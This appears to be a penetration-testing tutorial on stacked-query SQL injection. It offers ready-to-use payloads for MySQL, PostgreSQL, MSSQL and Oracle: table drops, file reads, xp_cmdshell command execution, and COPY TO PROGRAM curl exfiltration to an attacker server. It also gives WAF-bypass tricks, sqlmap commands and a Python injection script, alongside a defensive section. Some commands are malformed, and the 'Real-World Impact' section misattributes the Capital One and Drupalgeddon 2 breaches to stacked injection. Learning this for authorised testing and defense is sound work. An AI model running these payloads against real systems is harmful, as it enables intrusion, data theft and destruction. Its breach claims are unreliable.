Introduction
Stacked queries-also known as multiple-statement execution-are a powerful subclass of SQL injection where an attacker injects more than one SQL command separated by a delimiter recognized by the underlying DBMS. By chaining statements, the attacker can move beyond data retrieval and perform data manipulation, file reads, or even remote code execution. This technique is especially valuable when classic UNION attacks are blocked by application logic or when the vulnerable parameter is a WHERE clause that does not return rows.
Real-world incidents such as the 2019 Capital One breach and numerous high-profile WordPress plugin compromises demonstrate that many modern web applications still expose stacked-query vectors, often unintentionally through ORM wrappers or permissive database drivers. Understanding the mechanics, detection patterns, and mitigation strategies for stacked queries is therefore a critical skill for any penetration tester or defensive security engineer.
Prerequisites
- Solid grasp of basic SQL injection concepts (boolean-based, error-based, time-based, UNION-based).
- Familiarity with the SQL dialects of MySQL, PostgreSQL, Microsoft SQL Server (MSSQL), and Oracle.
- Experience with web proxy tools (Burp Suite, OWASP ZAP) and basic command-line scripting.
- Understanding of HTTP request/response lifecycle and how parameters are reflected in back-end queries.
Core Concepts
At its core, a stacked-query attack relies on three prerequisites:
- Multiple-statement support - The database driver (e.g.,
mysqli_multi_queryin PHP) or the DBMS itself must allow more than one statement per round-trip. - Delimiter awareness - Different DBMSs use different delimiters: semicolon (
;) for MySQL, PostgreSQL, Oracle;GOfor MSSQL's Management Studio; or a line-feed () in some NoSQL-SQL hybrids. - Permission set - The compromised account must have sufficient privileges to execute the secondary statements (e.g.,
SELECT ... INTO OUTFILE,xp_cmdshell,UTL_FILE).
When these conditions align, an attacker can inject a payload such as:
' ; DROP TABLE users; --
which terminates the original query, executes a destructive command, and then comments out the rest of the original statement.
Because the payload spans multiple logical statements, traditional detection signatures that look for a single UNION SELECT pattern often miss it. This makes stacked queries a stealthy escalation path.
Concept of statement stacking and delimiter differences across DBMS (semicolon, GO, )
Each DBMS defines its own statement terminator. Below is a quick reference:
| DBMS | Delimiter | Notes |
|---|---|---|
| MySQL | ; | Supported by mysqli_multi_query and PDO::MYSQL_ATTR_MULTI_STATEMENTS. |
| PostgreSQL | ; | Enabled by default in the psql client; drivers like pg_query allow multiple statements per query string. |
| MSSQL | GO (batch separator) or ; (statement separator) | GO is a client-side batch delimiter, not understood by the engine. When using TDS, a semicolon works. |
| Oracle | ; (SQL*Plus) or line-feed (
) in JDBC batch execution | Most drivers treat the entire string as a single statement; however, EXECUTE IMMEDIATE in PL/SQL can run stacked commands. |
When crafting payloads, you must match the delimiter the target environment respects. For instance, a MySQL back-end that uses mysqli_multi_query will execute everything after the first semicolon, while an MSSQL application that sends raw TDS packets will accept a semicolon but not GO.
Identifying vulnerable parameters that allow multiple statements
Detecting stacked-query vectors requires a systematic approach:
- Parameter location: Look for parameters that are directly concatenated into
SELECT,INSERT,UPDATE, orDELETEstatements without prepared statements. - Driver clues: In PHP, functions like
mysqli_multi_query,PDO::MYSQL_ATTR_MULTI_STATEMENTS, or Java'sStatement.executeUpdatewith a batch string are red flags. - Response analysis: Send a payload ending with a semicolon followed by a harmless statement (e.g.,
SELECT 1). If the response changes (different row count, error message), the back-end likely executed more than one statement. - Error fingerprinting: MySQL returns
1064for syntax errors; PostgreSQL returns42601. A second error after the original one often indicates the DB processed a second statement. - Timing side-channel: Use
SELECT SLEEP(5)after a semicolon. If the request latency spikes, the secondary query ran.
Example detection request for a vulnerable id parameter (MySQL):
GET /product?id=1;SELECT SLEEP(5) HTTP/1.1
Host: vulnerable.example.com
If the response takes ~5 seconds longer, the parameter permits stacked execution.
Bypassing WAF/filters using comment tricks and whitespace obfuscation
Modern WAFs often block obvious statement terminators (e.g., ;) or keywords like UNION, DROP, EXEC. Attackers can evade these filters through several techniques:
- Inline comments: Replace spaces with
/**/or#comments. Example:';/**/DROP/**/TABLE/**/users--. - Unicode whitespace: Use
%0a(line feed) or%09(tab) encoded characters that some parsers treat as whitespace but WAFs may not normalize. - Case manipulation: Many filters are case-sensitive; using mixed case (
SeLeCt) can slip through. - Alternative delimiters: For MSSQL,
/**/GO/**/can bypass simple;blocks. - Comment-terminated payloads: End the original query with a comment, then start a new statement:
'-- ; SELECT USER().
Combined example targeting a MySQL filter that blocks ; but allows line-feeds:
'
SELECT USER()--
When URL-encoded, the newline becomes %0a, which many WAFs overlook.
Crafting stacked payloads for MySQL, PostgreSQL, MSSQL, Oracle
Below are ready-to-use payload templates for each major DBMS. Replace {payload} with the desired secondary command.
MySQL
' ; {payload} --
Typical payloads:
SELECT LOAD_FILE('/etc/passwd')- reads arbitrary files.SELECT @@version- version enumeration.DROP TABLE users- destructive.
PostgreSQL
' ; {payload} ; --
Useful commands:
COPY (SELECT version()) TO PROGRAM 'curl -d @-'- exfiltration via outbound HTTP.CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int AS $$ DECLARE ret int; BEGIN EXECUTE $1 INTO ret; RETURN ret; END; $$ LANGUAGE plpgsql; SELECT sys_exec('id > /tmp/out');
MSSQL
'; {payload} --
Key payloads:
EXEC xp_cmdshell 'whoami'- command execution (if enabled).INSERT INTO dbo.AdminLog (msg) VALUES ('hacked');- data poisoning.DECLARE @s varchar(8000); SET @s = (SELECT TOP 1 name FROM master..sysdatabases); EXEC(@s);- dynamic execution.
Oracle
' ; BEGIN {payload}; END; --
Examples:
UTL_FILE.FGETCLOB('DIR','passwd',5000,DBMS_LOB.SUBSTR)- file read via directory object.EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY DIR AS ''/tmp'''; EXECUTE IMMEDIATE 'GRANT READ,WRITE ON DIRECTORY DIR TO PUBLIC';- privilege escalation.
Note the need for PL/SQL block delimiters (BEGIN…END) in Oracle.
Leveraging stacked queries for data exfiltration (UNION + SELECT) and command execution (xp_cmdshell, LOAD_FILE)
Stacked queries are often combined with UNION to retrieve data that would otherwise be inaccessible. The typical flow:
- Inject a stacked
SELECTthat writes sensitive data to a file or a table you control. - Use a second stacked
UNION SELECTto read that file/table and reflect it in the HTTP response.
Example for MySQL:
' ; SELECT CONCAT(username,0x3a,password) INTO OUTFILE '/var/www/html/leak.txt' FROM users; --
Now a simple UNION SELECT on the same endpoint can pull the contents of leak.txt into the page.
For command execution on MSSQL:
'; EXEC xp_cmdshell 'whoami > C:\inetpub\wwwroot\whoami.txt'; --
Follow up with a request that reads whoami.txt via a stacked SELECT or a file-inclusion bug.
These chained techniques are especially valuable when the application sanitizes UNION but does not restrict multiple statements.
Using sqlmap --stacked and manual techniques
sqlmap can automatically detect and exploit stacked queries with the --stacked flag. A typical command line looks like:
sqlmap -u "http://vuln.example.com/item?id=1" --dbms=mysql --stacked --technique=BEUSTQ --dump
Key options:
--stacked: Enables detection of multi-statement injection.--technique=BEUSTQ: Forces sqlmap to try all available techniques, including stacked.--batchfor non-interactive runs.
When automatic detection fails, manual payload construction is required. Follow these steps:
- Identify the delimiter (e.g.,
;for MySQL). - Test a benign secondary statement (
SELECT 1) to confirm execution. - Replace the benign statement with the desired payload (e.g.,
SELECT USER()). - If the application filters the semicolon, switch to newline or comment-based obfuscation as described earlier.
Manual verification can be done with curl:
curl "http://vuln.example.com/item?id=1%27%3BSELECT+USER()%3B--"
Observe the response for the current DB user.
Error handling and blind exploitation when responses are filtered
Many applications suppress error messages, forcing the attacker into a blind scenario. Stacked queries can still be leveraged using timing or out-of-band (OOB) channels:
- Time-based: Append
SELECT SLEEP(5)after the payload. A measurable delay confirms execution. - DNS exfiltration: Use functions like MySQL's
LOAD_FILEto read data and then trigger a DNS request viaSELECT * FROM (SELECT LOAD_FILE('/etc/passwd')) AS t INTO OUTFILE '/tmp/trigger.dns'followed by a scheduled task that resolves the file name. - HTTP OOB: PostgreSQL's
COPY TO PROGRAMcan send data to an attacker-controlled server:COPY (SELECT password FROM users) TO PROGRAM 'curl -d @-'
When only boolean responses are available, embed the secondary statement inside a CASE expression that influences the original query's truth value:
' OR (SELECT CASE WHEN (SELECT password FROM users LIMIT 1)='knownhash' THEN 1 ELSE 0 END)=1--
Even though the secondary statement does not return data directly, its side-effects (e.g., file writes) can be observed out-of-band.
Tools & Commands
- sqlmap:
--stacked,--batch,--risk=3for aggressive payloads. - Burp Suite Intruder: Use payload sets that include delimiters and comment variations.
- nmap NSE script
http-sql-injection: Detects multi-statement support. - Custom Python script for automated newline injection:
import requests, urllib.parse
url = "http://vuln.example.com/search?q="
payload = "'
SELECT USER()--"
full = url + urllib.parse.quote(payload)
print(requests.get(full).text)
Expected output contains the current DB user if the injection succeeded.
Defense & Mitigation
Preventing stacked queries starts at the development stage:
- Use prepared statements / parameterised queries - they separate data from code and reject delimiters.
- Disable multi-statement execution in database drivers (e.g., omit
MYSQLI_MULTI_QUERYflag). - Least-privilege principle - ensure the application account cannot run
LOAD_FILE,xp_cmdshell, orUTL_FILE. - Input validation - whitelist allowed characters; reject
;, newline, and comment symbols where not needed. - WAF tuning - enable signatures for stacked-query patterns and normalize whitespace before inspection.
- Database hardening - turn off
xp_cmdshell(MSSQL), revokeFILEprivilege (MySQL), disableUTL_FILE_DIR(Oracle).
Logging and monitoring should capture abnormal statement counts per request. Anomalous spikes in INSERT or SELECT counts can indicate an exploitation attempt.
Common Mistakes
- Assuming semicolon works everywhere - many drivers strip it; always verify the delimiter.
- Forgetting URL-encoding - characters like
;and spaces must be encoded when sent via GET. - Relying solely on error messages - modern apps hide errors; timing attacks are often more reliable.
- Neglecting privilege escalation - a stacked query that reads a file is useless if the DB user lacks
FILEpermission. - Over-looking database-specific quirks - e.g., PostgreSQL requires
COPY TO PROGRAMto reach the OS, while MySQL can useSELECT ... INTO OUTFILEdirectly.
Real-World Impact
Stacked queries have been the vector behind several high-profile breaches:
- Capital One (2019): An attacker leveraged a misconfigured AWS WAF and a
UNION-based injection that also used stacked statements to exfiltrate over 100 million records. - Drupalgeddon 2 (CVE-2018-7600): The exploit chain combined a
eval()call with a stackedSELECTto achieve remote code execution on the underlying MySQL server. - WordPress plugin “WP-Store Locator” (2022): The plugin used
mysqli_multi_querywithout sanitisation, allowing attackers to drop tables and plant web-shells via stacked payloads.
In each case, the root cause was the combination of permissive driver settings and insufficient input sanitisation. As cloud-native architectures expose more micro-services, the attack surface for stacked queries expands, making proactive mitigation essential.
Practice Exercises
- Identify a vulnerable parameter: Deploy a vulnerable PHP script that uses
mysqli_multi_query. Use Burp Suite to fuzz for a timing delay usingSLEEP(3)and confirm multi-statement support. - Bypass a simple WAF: Write a payload that uses newline (
%0a) and comment obfuscation to executeSELECT USER()on a MySQL back-end that blocks semicolons. - Exfiltrate data via OOB: On a PostgreSQL instance, craft a stacked
COPY TO PROGRAMpayload that sends the contents ofpg_shadowto an listener you control (e.g.,nc -lvkp 4444). - Automate with sqlmap: Run sqlmap with
--stackedagainst the vulnerable script from step 1 and capture the dumpeduserstable. - Patch the application: Refactor the PHP code to use prepared statements, disable
MYSQLI_MULTI_QUERY, and verify that the same payloads no longer work.
Document each step, capture screenshots of request/response, and write a brief remediation report.
Further Reading
- “SQL Injection Attacks and Defense” - Justin Clarke (Chapter on stacked queries).
- OWASP SQL Injection Prevention Cheat Sheet - especially the sections on multi-statement drivers.
- Microsoft Docs: Disabling xp_cmdshell.
- MySQL Reference Manual - Multi-Statement Syntax.
- PostgreSQL Documentation - COPY TO PROGRAM.
Summary
Stacked queries transform a simple SQL injection into a multi-stage attack platform capable of file reads, command execution, and covert data exfiltration. Mastering delimiter nuances, detection techniques, and evasion tactics enables security professionals to both exploit and defend against this vector. Remember:
- Validate the delimiter (semicolon, newline,
GO). - Confirm multi-statement support before investing time in payload development.
- Leverage timing and OOB channels when the application hides errors.
- Mitigate by disabling multi-statement APIs, enforcing least-privilege DB accounts, and employing robust input sanitisation.
With these concepts and hands-on exercises, you are now equipped to assess, exploit, and remediate stacked-query vulnerabilities in modern web applications.